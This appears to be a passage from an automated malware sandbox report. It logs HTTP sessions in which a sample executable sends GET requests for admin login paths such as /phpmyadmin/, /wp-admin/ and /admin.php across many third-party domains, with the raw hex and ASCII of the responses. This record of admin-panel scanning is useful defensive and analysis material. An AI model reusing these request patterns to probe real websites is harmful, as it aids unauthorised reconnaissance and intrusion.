Nov 26, 2023 06:59:32.750559092 CET	495	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Location: https://himontessori.com/wp-admin/ Content-Length: 242 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://himontessori.com/wp-admin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	57145	76.223.26.96	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.614989996 CET	275	OUT	GET /phpMyAdmin/?subid1=20231126-1659-3187-9499-03d21ba245df HTTP/1.1 Host: ww38.ondania.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.852514982 CET	1340	IN	HTTP/1.1 200 OK Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_GzAUKIn69XAEZ8brUpex8fYZa6JYxIkyWMVvyOWzasuufUosTXkUM1US05efyefb5wZT6vGhXzBo5kyU6Q7/0w== Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 X-Domain: ondania.com X-Subdomain: ww38 Content-Encoding: gzip Data Raw: 31 37 33 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 5c 6b 77 da 38 b7 fe 3c f9 15 2e b3 4e 20 e7 e5 66 08 b9 93 1e 52 92 34 69 21 4d 42 ae 5d 73 ba 8c 2d c0 c1 d8 8c 6d 02 a4 6f ff fb 79 b6 24 db 32 90 ce 74 de 99 7e 3a 74 4d c0 d2 96 f6 96 f6 45 fb 22 cf c1 9b e6 c5 bb ce c3 a7 63 6d 10 8e 9c c3 b5 03 fa d2 2c 23 34 0a 86 d5 75 3c 73 38 64 f3 7a a6 75 32 9d 36 2f 1f ce 3f 78 8f 67 83 67 b3 dd b8 3c 3e 3a ba 6c 34 af a7 8d e9 75 e3 fc a8 f1 f1 f7 49 f3 e4 b8 73 7f e5 96 df fb e5 5a ef e6 d3 f6 f1 79 67 7b 7b f6 e0 7e 1a 5d 75 c7 ad f9 e6 f3 70 e7 c3 83 fd de 1d b6 c7 cc 72 9f 2e 1a ed 73 d3 b8 6f de 9b 1f 2e cf db 65 f7 fe c3 e3 f9 c7 ed 8e 69 9f 37 77 1a de fb fb 0f 7a 6d e7 5d 63 7a dc 68 5c d6 eb 5f 4e 5f 1a 37 1f ce dc ad dd fb c6 f1 e3 4e d7 bf 19 b3 d9 4e ef e1 d1 d8 3a 7f 98 9d 0d e7 77 ad db e7 f9 c5 dd 8b 11 4c 26 bd 1b 2f e8 dc 0f 6f 5a fa cd 75 b9 c6 7a 73 d6 eb d6 a6 8f 9d ad e7 d3 c1 fd cb 91 57 1b ce 6f b6 2e b7 4b e5 69 bd 9e d1 66 23 c7 0d ea 99 41 18 8e f7 4a a5 e9 74 5a 9c 56 8b 9e df 2f e9 bb bb bb a5 19 ed 07 07 da 73 0c b7 5f cf 30 37 a3 c5 bf 68 bf 98 61 1d ae 69 f8 1c 8c 58 68 60 1b c3 71 81 fd 3e b1 9f eb 99 77 9e 1b 32 37 2c 74 e6 63 96 d1 4c f1 54 cf 84 6c 16 96 68 de 7d cd 1c 18 7e c0 c2 fa 24 ec 15 76 32 25 75 22 d7 18 b1 7a e6 d9 66 d3 b1 e7 87 ca f0 a9 6d 85 83 ba c5 9e 6d 93 15 f8 43 5e b3 5d 3b b4 0d a7 10 98 86 c3 ea 7a 5e 0b 06 be ed 0e 0b a1 57 e8 d9 61 dd f5 e2 b9 43 3b 74 d8 a1 e7 5a 86 6b 1b 45 d3 1b 1d 94 44 93 58 Data Ascii: 173b\kw8<.N fR4i!MB]s-moy$2t~:tME"cm,#4u<s8dzu26/?xgg<>:l4uIsZyg{{~]upr.so.ei7wzm]czh\_N_7NN:wL&/oZuzsWo.Kif#AJtZV/s_07haiXh`q>w27,tcLTlh}~$v2%u"zfmmC^];z^WaC;tZkEDX
Nov 26, 2023 06:59:32.852533102 CET	1340	IN	Data Raw: f9 9f 64 41 a2 11 6b 6b 6b bf 1c 08 25 10 41 a9 8c d3 cd 22 b9 40 08 18 10 59 4e 79 64 28 80 10 13 d2 89 00 7d 18 21 34 cd 68 21 42 6f 19 71 3f 19 cf 86 00 52 62 55 29 42 24 6c 31 b5 50 35 21 51 49 cb e1 da 2f bf fc 72 80 e8 de 67 3d 91 2b 08 64 Data Ascii: dAkkk%A"@YNyd(}!4h!Boq?RbU)B$l1P5!QI/rg=+d`14aB&+)5h@?0y.H,Jy-nCh2DC/ZPZ@[$U@y%+9[h~DS-4)XY0V658Ev<3
Nov 26, 2023 06:59:32.852546930 CET	1340	IN	Data Raw: 43 60 fa f6 38 d4 02 df ac 67 c4 6e f4 3d af ef 30 82 2c 19 56 c0 dc 80 95 2c 6f 64 d8 6e 50 32 8d 5e f1 29 78 6b 74 c7 75 3d 73 78 50 12 83 0f f9 66 04 e1 dc 61 da 88 59 b6 51 cf a0 83 61 e3 0e d7 8a 46 80 e5 7e 09 42 c3 2f 6b 5f d7 7e e9 1a e6 Data Ascii: C`8gn=0,V,odnP2^)xktu=sxPfaYQaF~B/k_~{&JVugowgxc.KXP%>Oo\|6fFs7gOB<Vecae.kT"H$DvwH~l"6vqe4cm
Nov 26, 2023 06:59:32.852561951 CET	1340	IN	Data Raw: ae a9 5d 45 ee fb 45 bd c5 b1 ef 85 1e f4 51 fb 97 86 a2 45 16 5f 71 d7 c0 0b 42 f5 79 0c 52 29 9e 43 5b 2e 06 12 82 aa bd 4d 86 c9 16 cc b7 9e d5 a0 d3 6f 91 ec c2 c3 97 99 d1 7b f6 eb 8f 77 57 d8 da d6 bc 55 79 a8 5e dc dd 8e 5a 4d e8 c4 cb d1 Data Ascii: ]EEQE_qByR)C[.Mo{wWUy^ZMOoK{ts7z{-{miwH>Rz>.};n89:dN[MWv<Yd1HRU. *JlmdOx6F-@.@
Nov 26, 2023 06:59:32.852575064 CET	1340	IN	Data Raw: 39 15 7f 79 c9 89 bb b9 bc 5c 1e a2 29 47 64 b2 5e de 03 71 c6 82 7f fa 7a 51 b9 fe cf 96 9c 70 19 29 ec 42 41 13 17 4c a1 98 bc 9e 97 12 81 05 17 67 91 a9 ca c1 d5 83 72 2c 76 93 5c fd 73 02 4f 18 d7 e9 cf 6b f6 42 da 4c 41 d9 5f 38 ab 22 b5 a0 Data Ascii: 9y\)Gd^qzQp)BALgr,v\sOkBLA_8"6GefPap]R^qavG}&XbU'z\O]GGh9[[Tqu\|~LQD\|{.uV\|X3z~jHq1
Nov 26, 2023 06:59:32.852588892 CET	378	IN	Data Raw: fc d1 68 b8 28 f4 96 21 6e cf cc c2 22 6e 27 8c 40 1d 95 ff b2 29 ff 56 60 14 7f 55 87 51 6d 17 0c 5d e2 2a 6a e5 81 87 7b 10 8e d7 cf 29 f7 2b c4 9a 13 dc 0b 55 d5 95 f9 14 c2 a6 4e 97 ed a0 68 c7 e0 d4 e2 86 b0 86 1b 5d 28 4c 8c 34 28 ce 00 57 Data Ascii: h(!n"n'@)V`UQm]j{)+UNh](L4(WDE5TS#w.9bI:E;[r?5qV\l"qBt9C(3rN#M8!sVMl{kvwllUvznbyo^)%S? xp8xM
Nov 26, 2023 06:59:32.867894888 CET	378	IN	Data Raw: fc d1 68 b8 28 f4 96 21 6e cf cc c2 22 6e 27 8c 40 1d 95 ff b2 29 ff 56 60 14 7f 55 87 51 6d 17 0c 5d e2 2a 6a e5 81 87 7b 10 8e d7 cf 29 f7 2b c4 9a 13 dc 0b 55 d5 95 f9 14 c2 a6 4e 97 ed a0 68 c7 e0 d4 e2 86 b0 86 1b 5d 28 4c 8c 34 28 ce 00 57 Data Ascii: h(!n"n'@)V`UQm]j{)+UNh](L4(WDE5TS#w.9bI:E;[r?5qV\l"qBt9C(3rN#M8!sVMl{kvwllUvznbyo^)%S? xp8xM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	57151	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.656028986 CET	280	OUT	GET /wp-admin/ HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://lumaruniformes.com/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	57123	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.700594902 CET	227	OUT	GET /phpmyadmin/ HTTP/1.1 Host: federwild.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.888041019 CET	947	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 12 Sep 2019 15:06:38 GMT ETag: W/"3fe-5925c7bf8c9e3" Content-Encoding: gzip Data Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	57116	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.700700998 CET	241	OUT	GET /administrator/ HTTP/1.1 Host: www.grg17geblergasse.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	57190	144.202.62.131	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.764472961 CET	235	OUT	GET /phpmyadmin/ HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.888185024 CET	507	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Location: https://gruporegiosafety.com/phpmyadmin/ Content-Length: 248 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 72 75 70 6f 72 65 67 69 6f 73 61 66 65 74 79 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://gruporegiosafety.com/phpmyadmin/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	57111	191.252.51.5	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.764610052 CET	233	OUT	GET /phpmyadmin/ HTTP/1.1 Host: financefast.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	57121	213.0.13.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.764698982 CET	230	OUT	GET /phpmyadmin/ HTTP/1.1 Host: ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	57167	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.764761925 CET	232	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.grantstech.io Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.947669983 CET	732	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 328 Connection: keep-alive Location: https://www.grantstech.io/phpmyadmin/ Cache-Control: max-age=0 Expires: Sun, 26 Nov 2023 05:59:32 GMT X-Cache-Status: MISS X-Cache-Key: http://www.grantstech.io/phpmyadmin/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 67 72 61 6e 74 73 74 65 63 68 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.grantstech.io/phpmyadmin/">here</a>.</p><hr><address>Apache/2.4.56 (Debian) Server at www.grantstech.io Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	57173	35.164.64.246	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.764864922 CET	228	OUT	GET /phpmyadmin/ HTTP/1.1 Host: belongfbg.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	57319	3.33.130.190	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.764916897 CET	224	OUT	GET /admin.php HTTP/1.1 Host: gmailvz.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.863863945 CET	1340	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Content-Length: 1177 Last-Modified: Mon, 13 Nov 2023 23:35:06 GMT Connection: keep-alive ETag: "6552b2aa-499" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_FQoxgprFehvj2p8yLCgcFG18Z4poDRSAt/UdDOCXzmOXaDDdgcX1NNB0/lwPPc6N21tgsFZdNfVSJPkIVLBe5w Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=10.116.88.246;Path=/;Max-Age=86400; Set-Cookie: country=;Path=/;Max-Age=86400; Set-Cookie: city="";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 3e 23 63 6f 6e 74 65 6e 74 2d 6d 61 69 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 3e 46 6f 72 20 66 75 6c 6c 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 20 6f 66 20 74 68 69 73 20 73 69 74 65 20 69 74 20 69 73 20 6e 65 63 65 73 73 61 72 79 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 2e 20 48 65 72 65 20 61 72 65 20 74 68 65 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></title><script src="https://www.google.com/adsense/domains/caf.js?abp=1" type="text/javascript"></script><noscript><style>#content-main{display:none}</style><div>For full functionality of this site it is necessary to enable JavaScript. Here are the <a target="_blank" rel="noopener noreferrer" href="https://
Nov 26, 2023 06:59:32.863877058 CET	669	IN	Data Raw: 77 77 77 2e 65 6e 61 62 6c 65 2d 6a 61 76 61 73 63 72 69 70 74 2e 63 6f 6d 2f 22 3e 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 69 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 Data Ascii: www.enable-javascript.com/">instructions how to enable JavaScript in your web browser</a>.</div></noscript><script type="application/javascript">window.LANDER_SYSTEM="PW"</script><script type="text/javascript">var abp=void 0</script><script ty
Nov 26, 2023 06:59:32.882200956 CET	669	IN	Data Raw: 77 77 77 2e 65 6e 61 62 6c 65 2d 6a 61 76 61 73 63 72 69 70 74 2e 63 6f 6d 2f 22 3e 69 6e 73 74 72 75 63 74 69 6f 6e 73 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 69 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 Data Ascii: www.enable-javascript.com/">instructions how to enable JavaScript in your web browser</a>.</div></noscript><script type="application/javascript">window.LANDER_SYSTEM="PW"</script><script type="text/javascript">var abp=void 0</script><script ty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	57174	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.766113997 CET	226	OUT	GET /phpmyadmin/ HTTP/1.1 Host: kappablu.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	57329	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.768510103 CET	228	OUT	GET /admin.php HTTP/1.1 Host: greenrworld.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.866576910 CET	418	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-53.ec2.internal X-Request-Id: 21062e9b-de89-4f44-802e-371bfef32e49 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	57331	172.96.186.206	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
